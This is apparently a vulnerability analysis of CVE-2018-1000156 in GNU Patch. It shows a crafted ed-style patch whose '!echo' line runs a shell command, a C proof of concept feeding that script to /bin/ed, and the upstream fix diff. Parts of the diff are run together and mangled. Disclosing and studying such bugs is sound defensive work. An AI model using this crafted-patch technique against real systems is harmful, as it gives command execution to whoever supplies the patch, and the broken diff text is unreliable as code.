CVE-2018-1000156：GNU Patch任意代码执行漏洞分析

--- a	2018-13-37 13:37:37.000000000 +0100
+++ b   2018-13-37 13:38:38.000000000 +0100
1337a1,112d!echo "pwn successfully!"

#include <stdio.h>
#include <stdlib.h> 
#include <string.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
int main()
{
        FILE *pipefp = 0;        
        char *buf[200];        
        static FILE *pfp;        
        sprintf(buf,"%s","/bin/ed - ./temp.txt");
        fflush(stdout);
        pipefp = popen(buf,"w"); 
               
        sprintf(buf,"%s","1337a\n1,112d\n!echo 'pwn successfully'\n");
        fwrite(buf,1,200,pipefp);
        pclose(pipefp);        
        return 0;
}

diff --git a/src/pch.c b/src/pch.c
index bc6278c..f97a4dc 100644
--- a/src/pch.c
+++ b/src/pch.c
@@ -33,6 +33,7 @@ 
 # include <io.h>
 #endif
 #include <safe.h>
+#include <sys/wait.h> 
 
 #define INITHUNKMAX 125            /* initial dynamic allocation size */

 @@ -2389,22 +2390,25 @@ do_ed_script (char const *inname, char const *outname,     
     static char const editor_program[] = EDITOR_PROGRAM;
 
     file_offset beginning_of_this_line;
-    FILE *pipefp = 0;     
     size_t chars_read;
+    FILE *tmpfp = 0;
+    char const *tmpname;
+    int tmpfd, tmpfl;
+    pid_t pid;
+
+    if (! dry_run && ! skip_rest_of_patch)
+      {
+    /* Write ed script to a temporary file: this causes ed to abort on
+       invalid commands.  If we used a pipe instead, ed would continue
+       after invalid commands.  */
+    tmpfd = make_tempfile (&tmpname, 'e', NULL, O_RDWR | O_BINARY, 0);
+    if (tmpfd == -1)
+      pfatal ("Can't create temporary file %s", quotearg (tmpname));
+    tmpfp = fdopen (tmpfd, "w+b");
+    if (! tmpfp)
+      pfatal ("Can't open stream for file %s", quotearg (tmpname));
+      } 

-    if (! dry_run && ! skip_rest_of_patch) {
-    int exclusive = *outname_needs_removal ? 0 : O_EXCL;
-    assert (! inerrno);
-    *outname_needs_removal = true;
-    copy_file (inname, outname, 0, exclusive, instat.st_mode, true);
-    sprintf (buf, "%s %s%s", editor_program,
-         verbosity == VERBOSE ? "" : "- ",
-         outname);
-    fflush (stdout);
-    pipefp = popen(buf, binary_transput ? "wb" : "w");
-    if (!pipefp)
-      pfatal ("Can't open pipe to %s", quotearg (buf));
-    }     
     for (;;) {     char ed_command_letter;
     beginning_of_this_line = file_tell (pfp);
@@ -2415,14 +2419,14 @@ do_ed_script (char const *inname, char const *outname,     }
     ed_command_letter = get_ed_command_letter (buf);     if (ed_command_letter) {-        if (pipefp)
-        if (! fwrite (buf, sizeof *buf, chars_read, pipefp))
+        if (tmpfp)
+        if (! fwrite (buf, sizeof *buf, chars_read, tmpfp))             write_fatal ();         if (ed_command_letter != 'd' && ed_command_letter != 's') {
             p_pass_comments_through = true;         while ((chars_read = get_line ()) != 0) {-            if (pipefp)
-            if (! fwrite (buf, sizeof *buf, chars_read, pipefp))
+        if (tmpfp)
+            if (! fwrite (buf, sizeof *buf, chars_read, tmpfp))                 write_fatal ();             if (chars_read == 2  &&  strEQ (buf, ".\n"))             break;@@ -2435,13 +2439,50 @@ do_ed_script (char const *inname, char const *outname,         break;
     }
     }
-    if (!pipefp)
+    if (!tmpfp)       
     return;
-    if (fwrite ("w\nq\n", sizeof (char), (size_t) 4, pipefp) == 0-    || fflush (pipefp) != 0)+    if (fwrite ("w\nq\n", sizeof (char), (size_t) 4, tmpfp) == 0+    || fflush (tmpfp) != 0)       write_fatal ();-    if (pclose (pipefp) != 0)
-      fatal ("%s FAILED", editor_program);
+
+    if ((tmpfl = fcntl (tmpfd, F_GETFD)) == -1+        || fcntl (tmpfd, F_SETFD, tmpfl & ~FD_CLOEXEC) == -1)
+      pfatal ("Can't clear close-on-exec flag of %s", quotearg (tmpname));
+
+    if (lseek (tmpfd, 0, SEEK_SET) == -1)
+      pfatal ("Can't rewind to the beginning of file %s", quotearg (tmpname));
+
+    if (! dry_run && ! skip_rest_of_patch) {
+       int exclusive = *outname_needs_removal ? 0 : O_EXCL;
+       assert (! inerrno);
+       *outname_needs_removal = true;
+       copy_file (inname, outname, 0, exclusive, instat.st_mode, true);
+       sprintf (buf, "%s %s%s", editor_program,
+            verbosity == VERBOSE ? "" : "- ",
+            outname);
+       fflush (stdout);
+
+       pid = fork();
+       if (pid == -1)
+         pfatal ("Can't fork");
+       else if (pid == 0)
+         {
+           dup2 (tmpfd, 0);
+           execl ("/bin/sh", "sh", "-c", buf, (char *) 0);
+           _exit (2);
+         }
+       else
+         {
+           int wstatus;
+           if (waitpid (pid, &wstatus, 0) == -1+            || ! WIFEXITED (wstatus)
+           || WEXITSTATUS (wstatus) != 0)
+             fatal ("%s FAILED", editor_program);
+         }
+    }
+
+    fclose (tmpfp);
+    safe_unlink (tmpname); 
     if (ofp)
       {